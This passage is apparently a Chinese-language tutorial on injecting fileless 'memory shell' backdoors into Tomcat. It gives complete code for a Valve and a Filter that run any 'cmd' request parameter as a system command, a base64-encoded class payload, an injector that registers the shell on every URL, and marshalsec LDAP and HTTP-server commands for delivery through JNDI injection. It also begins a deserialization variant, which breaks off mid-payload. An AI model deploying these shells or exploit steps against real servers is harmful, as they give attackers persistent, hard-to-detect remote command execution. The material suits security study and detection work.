| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%-- Created by IntelliJ IDEA. User: GaoMu Date: 2025/6/22 Time: 20:04 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%! public class MyValve extends ValveBase {
@Override public void invoke(Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { Process proc = Runtime.getRuntime().exec(cmd); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(proc.getInputStream())); String line; StringBuffer output = new StringBuffer(); while ((line = bufferedReader.readLine()) != null) { output.append(line).append("<br>"); } response.setContentType("text/html; charset=UTF-8"); response.getWriter().write(output.toString()); bufferedReader.close(); } } } %>
<% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextFiled = applicationContext.getClass().getDeclaredField("context"); standardContextFiled.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext); standardContext.addValve(new MyValve()); out.print("valve inject success!"); %>
|


3.内存马注入方式
3.1.JNDI注入内存马
3.1.1.项目构建


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package com.gaomu.jndimemshell;
import javax.naming.InitialContext; import javax.naming.NamingException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
@WebServlet(name = "JNDIServlet", value = "/jndi") public class JNDIServlet extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response) { String name = request.getParameter("name"); if (name == null) { response.setStatus(HttpServletResponse.SC_BAD_REQUEST); } else { try { InitialContext initialContext = new InitialContext(); initialContext.lookup(name); } catch (NamingException e) { throw new RuntimeException(e); } }
} }
|

- 在pom.xml文件中分别添加与攻击环境相匹配的tomcat版本,以及catalina和javaassist。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <dependencies> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.0.53</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.30.2-GA</version> </dependency> </dependencies>
|
3.1.2.注入代码编写
- 这次我们选择注入filter内存马,因此我们首先需要先编写一个filter内存马。
- 将java目录下所有的代码目录都先删除,构建一个无package路径环境,然后编写ShellFilter.java文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import javax.servlet.*; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader;
public class ShellFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { Process proc = Runtime.getRuntime().exec(cmd); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(proc.getInputStream())); String line; StringBuffer output = new StringBuffer(); while ((line = bufferedReader.readLine()) != null) { output.append(line).append("<br>"); } response.setContentType("text/html; charset=UTF-8"); response.getWriter().write(output.toString()); bufferedReader.close(); }
}
@Override public void destroy() {
} }
|
- 编写代码用于将ShellFilter转换为字节码同时进行BASE64编码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException;
import java.io.IOException; import java.util.Base64;
public class JavaToClassBase64 { public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException { ClassPool pool = ClassPool.getDefault(); CtClass shellFilterClass = pool.get("ShellFilter"); byte[] bytecode = shellFilterClass.toBytecode(); String base64Code = Base64.getEncoder().encodeToString(bytecode); System.out.println(base64Code); } }
|
- 也可以不使用代码来转换,直接编译为Class文件之后,使用其他工具将Class文件转换为Base64字符串也同样可以,例如CyberChef

- 编写实际的执行类,即JNDI注入远程加载的主类。
- 接下来我们需要获取到StandardContext。在以前的Tomcat容器中我们通常都是通过request来间接获取StandardContext,而在无request环境中,我们可以通过Thred#currentThread(),这个静态的线程方法上获取到StandardContext。但是这个方法仅仅使用于8.0版本,如果是8.5及以上的版本,需要进行改造。
1 2 3 4 5 6 7 8 9 10
| public StandardContext getContext() { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot standardRoot = (StandardRoot) webappClassLoaderBase.getResources();
return (StandardContext) standardRoot.getContext(); }
|
- 接下来是要编写getFilter方法,因为jndi注入,一次性只能加载一个Class,因此我们注入的ShellFilter类,需要通过Base64字符串的方式写入到类中,在实际进行注入时才在JNDI调用的字节码中获取到该字符串解码然后进行加载,而非传入两个Class进行加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public Filter getFilter() throws Exception { String codeBase64 = "yv66vgAAADQAfQoAFwBECAA2CwBFAEYKAEcASAoARwBJBwBKBwBLCgBMAE0KAAcATgoABgBPBwBQCgALAEQKAAYAUQoACwBSCABTCABUCwBVAFYLAFUAVwoACwBYCgBZAFoKAAYAWwcAXAcAXQcAXgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTFNoZWxsRmlsdGVyOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAF8BAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARwcm9jAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABm91dHB1dAEAGExqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEAB3JlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFwHAGAHAGEHAGIHAGMHAGQHAEoHAFAHAGUBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAEFNoZWxsRmlsdGVyLmphdmEMABkAGgcAYAwAZgBnBwBoDABpAGoMAGsAbAEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBkDABtAG4MABkAbwwAGQBwAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAcQByDABzAHQBAAQ8YnI+AQAYdGV4dC9odG1sOyBjaGFyc2V0PVVURi04BwBhDAB1AHYMAHcAeAwAeQByBwB6DAB7AHYMAHwAGgEAC1NoZWxsRmlsdGVyAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEADnNldENvbnRlbnRUeXBlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAh0b1N0cmluZwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABWNsb3NlACEAFgAXAAEAGAAAAAQAAQAZABoAAQAbAAAALwABAAEAAAAFKrcAAbEAAAACABwAAAAGAAEAAAAGAB0AAAAMAAEAAAAFAB4AHwAAAAEAIAAhAAIAGwAAADUAAAACAAAAAbEAAAACABwAAAAGAAEAAAAKAB0AAAAWAAIAAAABAB4AHwAAAAAAAQAiACMAAQAkAAAABAABACUAAQAmACcAAgAbAAABcAAFAAkAAABuKxICuQADAgA6BBkExgBhuAAEGQS2AAU6BbsABlm7AAdZGQW2AAi3AAm3AAo6BrsAC1m3AAw6CBkGtgANWToHxgATGQgZB7YADhIPtgAOV6f/6CwSELkAEQIALLkAEgEAGQi2ABO2ABQZBrYAFbEAAAADABwAAAAuAAsAAAAPAAoAEAAPABEAGQASAC4AFAA3ABUAQgAWAFIAGABaABkAaAAaAG0AHQAdAAAAXAAJABkAVAAoACkABQAuAD8AKgArAAYAPwAuACwALQAHADcANgAuAC8ACAAAAG4AHgAfAAAAAABuADAAMQABAAAAbgAyADMAAgAAAG4ANAA1AAMACgBkADYALQAEADcAAABaAAP/ADcACQcAOAcAOQcAOgcAOwcAPAcAPQcAPgAHAD8AAP8AGgAJBwA4BwA5BwA6BwA7BwA8BwA9BwA+BwA8BwA/AAD/ABoABQcAOAcAOQcAOgcAOwcAPAAAACQAAAAGAAIAQAAlAAEAQQAaAAEAGwAAACsAAAABAAAAAbEAAAACABwAAAAGAAEAAAAiAB0AAAAMAAEAAAABAB4AHwAAAAEAQgAAAAIAQw==";
byte[] codeBytes = Base64.getDecoder().decode(codeBase64);
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod( "defineClass", byte[].class, int.class, int.class); defineClassMethod.setAccessible(true);
Class clazz = (Class) defineClassMethod.invoke( contextClassLoader, codeBytes, 0, codeBytes.length);
return (Filter) clazz.newInstance(); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| import org.apache.catalina.WebResourceRoot; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.catalina.webresources.StandardRoot; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.Filter; import java.lang.reflect.Method; import java.util.Base64;
public class Inject { public Inject() throws Exception { StandardContext context = getContext();
Filter filter = getFilter();
FilterDef filterDef = new FilterDef(); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilterName("shell"); filterDef.setFilter(filter);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("shell"); filterMap.addURLPattern("/*");
context.addFilterDef(filterDef); context.addFilterMapBefore(filterMap); context.filterStart();
System.out.println("注入成功!"); }
public StandardContext getContext() { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot standardRoot = (StandardRoot) webappClassLoaderBase.getResources();
return (StandardContext) standardRoot.getContext(); }
public Filter getFilter() throws Exception { String codeBase64 = "yv66vgAAADQAfQoAFwBECAA2CwBFAEYKAEcASAoARwBJBwBKBwBLCgBMAE0KAAcATgoABgBPBwBQCgALAEQKAAYAUQoACwBSCABTCABUCwBVAFYLAFUAVwoACwBYCgBZAFoKAAYAWwcAXAcAXQcAXgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTFNoZWxsRmlsdGVyOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAF8BAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARwcm9jAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABm91dHB1dAEAGExqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEAB3JlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFwHAGAHAGEHAGIHAGMHAGQHAEoHAFAHAGUBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAEFNoZWxsRmlsdGVyLmphdmEMABkAGgcAYAwAZgBnBwBoDABpAGoMAGsAbAEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBkDABtAG4MABkAbwwAGQBwAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAcQByDABzAHQBAAQ8YnI+AQAYdGV4dC9odG1sOyBjaGFyc2V0PVVURi04BwBhDAB1AHYMAHcAeAwAeQByBwB6DAB7AHYMAHwAGgEAC1NoZWxsRmlsdGVyAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEADnNldENvbnRlbnRUeXBlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAh0b1N0cmluZwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABWNsb3NlACEAFgAXAAEAGAAAAAQAAQAZABoAAQAbAAAALwABAAEAAAAFKrcAAbEAAAACABwAAAAGAAEAAAAGAB0AAAAMAAEAAAAFAB4AHwAAAAEAIAAhAAIAGwAAADUAAAACAAAAAbEAAAACABwAAAAGAAEAAAAKAB0AAAAWAAIAAAABAB4AHwAAAAAAAQAiACMAAQAkAAAABAABACUAAQAmACcAAgAbAAABcAAFAAkAAABuKxICuQADAgA6BBkExgBhuAAEGQS2AAU6BbsABlm7AAdZGQW2AAi3AAm3AAo6BrsAC1m3AAw6CBkGtgANWToHxgATGQgZB7YADhIPtgAOV6f/6CwSELkAEQIALLkAEgEAGQi2ABO2ABQZBrYAFbEAAAADABwAAAAuAAsAAAAPAAoAEAAPABEAGQASAC4AFAA3ABUAQgAWAFIAGABaABkAaAAaAG0AHQAdAAAAXAAJABkAVAAoACkABQAuAD8AKgArAAYAPwAuACwALQAHADcANgAuAC8ACAAAAG4AHgAfAAAAAABuADAAMQABAAAAbgAyADMAAgAAAG4ANAA1AAMACgBkADYALQAEADcAAABaAAP/ADcACQcAOAcAOQcAOgcAOwcAPAcAPQcAPgAHAD8AAP8AGgAJBwA4BwA5BwA6BwA7BwA8BwA9BwA+BwA8BwA/AAD/ABoABQcAOAcAOQcAOgcAOwcAPAAAACQAAAAGAAIAQAAlAAEAQQAaAAEAGwAAACsAAAABAAAAAbEAAAACABwAAAAGAAEAAAAiAB0AAAAMAAEAAAABAB4AHwAAAAEAQgAAAAIAQw==";
byte[] codeBytes = Base64.getDecoder().decode(codeBase64);
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod( "defineClass", byte[].class, int.class, int.class); defineClassMethod.setAccessible(true);
Class clazz = (Class) defineClassMethod.invoke( contextClassLoader, codeBytes, 0, codeBytes.length);
return (Filter) clazz.newInstance(); } }
|
3.1.3.注入实流程
- 启用HTTP服务器暴露Class文件,可以使用任意方式暴露,我这里使用的是python
python -m http.server 80

- 使用marshalsec工具启动一个ldap服务器(1389),并将Inject类解析指向暴露的HTTP服务器(80)。
1
| D:\Tools\EXPJar>D:\Language\Java\jdk1.8.0_65\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.100.1/#Inject" 1389
|

- 通过jndi注入传入ldap地址。
1
| http://localhost:8080/JNDImemshell_war_exploded/jndi?name=ldap://192.168.100.1:1389/Inject
|


3.1.4.注意
需要注意的是jndi是jdk版本限制的,在无特殊绕过条件下,只能在jdk8u191以下才可使用,如果超过此版本的现象大致为,请求ldap服务器成功但不会去解析暴露class文件,也就是说,python启动的http服务器不会收到任何响应,但是ldap服务器可以收到。
还有需要注意的是只有在tomcat8.0时才可以使用静态方法Thred#currentThread(),然后利用getResources来获取standardRoot,但是在9.0版本已经弃用了getResources方法,需要对获取StandardContext方法做一点改造。
3.1.5.Tomcat9JNDI注入内存马实现
- tomcat9在获取context方面由有差异,在webappClassLoaderBase类中的getResources方法被弃用,返回的内容设置成了空,并说明在10.1x之后会被移除,因此我们需要对获取context的方法进行以下改造。

- 我们没办法通过getResource获取到的resources,但是我们可以通过反射来获取这个受保护的resources变量。
1 2 3 4 5 6 7 8 9 10 11 12 13
| public StandardContext getContextTomcat9() { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); try { Field resourcesField = WebappClassLoaderBase.class.getDeclaredField("resources"); resourcesField.setAccessible(true); StandardRoot standardRoot = (StandardRoot) resourcesField.get(webappClassLoaderBase); return (StandardContext) standardRoot.getContext(); } catch (Exception e) { throw new RuntimeException(e); } }
|
- 除了获取StandardContext方法需要改造以外,其他的保持不变即可。
3.2.反序列化注入内存马
目标环境:Tomcat8.0、存在反序列化注入漏洞、存在commons-beanutils-1.8.3组件。
大致思路:通过反序列化漏洞在tomcat过滤器中注入恶意代码,当请求中包含cmd参数时,执行其参数值的系统命令。
操作步骤:
- 首先编写一个ShellFilter类,用于在Tomcat过滤器中检测cmd参数并执行对应系统命令。
- 然后编写Inject类,在目标靶机上实际执行的代码块,用于将我们编写的ShellFilter注入到tomcat中。
- 编写反序列利用链,用于执行恶意代码块Inject。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import javax.servlet.*; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader;
public class ShellFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { Process proc = Runtime.getRuntime().exec(cmd); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(proc.getInputStream())); String line; StringBuffer output = new StringBuffer(); while ((line = bufferedReader.readLine()) != null) { output.append(line).append("<br>"); } response.setContentType("text/html; charset=UTF-8"); response.getWriter().write(output.toString()); bufferedReader.close(); }
}
@Override public void destroy() {
} }
|
- 编写JavaToClassBase64类,用于实现将ShellFilter字节码转换为Base64字符串,当然也可以用其他工具直接转换。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException;
import java.io.IOException; import java.util.Base64;
public class JavaToClassBase64 { public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException { ClassPool pool = ClassPool.getDefault(); CtClass shellFilterClass = pool.get("ShellFilter"); byte[] bytecode = shellFilterClass.toBytecode(); String base64Code = Base64.getEncoder().encodeToString(bytecode); System.out.println(base64Code); } }
|
- Inject类编写,由于我们需要使用TemplatesImpl类进行代码执行,因此我们的Inject和上一节有些许不同,需要继承AbstractTranslet抽象类,并且实现ObjectFactory接口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.catalina.webresources.StandardRoot; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import javax.servlet.Filter; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64; import java.util.Hashtable;
public class Inject extends AbstractTranslet implements ObjectFactory { public Inject() throws Exception { StandardContext context = getContextTomcat8(); Filter filter = getFilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilterName("shell"); filterDef.setFilter(filter); FilterMap filterMap = new FilterMap(); filterMap.setFilterName("shell"); filterMap.addURLPattern("/*"); context.addFilterDef(filterDef); context.addFilterMapBefore(filterMap); context.filterStart(); System.out.println("注入成功!"); }
public StandardContext getContextTomcat8() { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot standardRoot = (StandardRoot) webappClassLoaderBase.getResources();
return (StandardContext) standardRoot.getContext(); }
public StandardContext getContextTomcat9() { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); try { Field resourcesField = WebappClassLoaderBase.class.getDeclaredField("resources"); resourcesField.setAccessible(true); StandardRoot standardRoot = (StandardRoot) resourcesField.get(webappClassLoaderBase); return (StandardContext) standardRoot.getContext(); } catch (Exception e) { throw new RuntimeException(e); } }
public Filter getFilter() throws Exception { String codeBase64 = "yv66vgAAADQAfQoAFwBECAA2CwBFAEYKAEcASAoARwBJBwBKBwBLCgBMAE0KAAcATgoABgBPBwBQCgALAEQKAAYAUQoACwBSCABTCABUCwBVAFYLAFUAVwoACwBYCgBZAFoKAAYAWwcAXAcAXQcAXgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTFNoZWxsRmlsdGVyOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAF8BAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARwcm9jAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABm91dHB1dAEAGExqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEAB3JlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFwHAGAHAGEHAGIHAGMHAGQHAEoHAFAHAGUBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAEFNoZWxsRmlsdGVyLmphdmEMABkAGgcAYAwAZgBnBwBoDABpAGoMAGsAbAEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBkDABtAG4MABkAbwwAGQBwAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAcQByDABzAHQBAAQ8YnI+AQAYdGV4dC9odG1sOyBjaGFyc2V0PVVURi04BwBhDAB1AHYMAHcAeAwAeQByBwB6DAB7AHYMAHwAGgEAC1NoZWxsRmlsdGVyAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEADnNldENvbnRlbnRUeXBlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAh0b1N0cmluZwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABWNsb3NlACEAFgAXAAEAGAAAAAQAAQAZABoAAQAbAAAALwABAAEAAAAFKrcAAbEAAAACABwAAAAGAAEAAAAGAB0AAAAMAAEAAAAFAB4AHwAAAAEAIAAhAAIAGwAA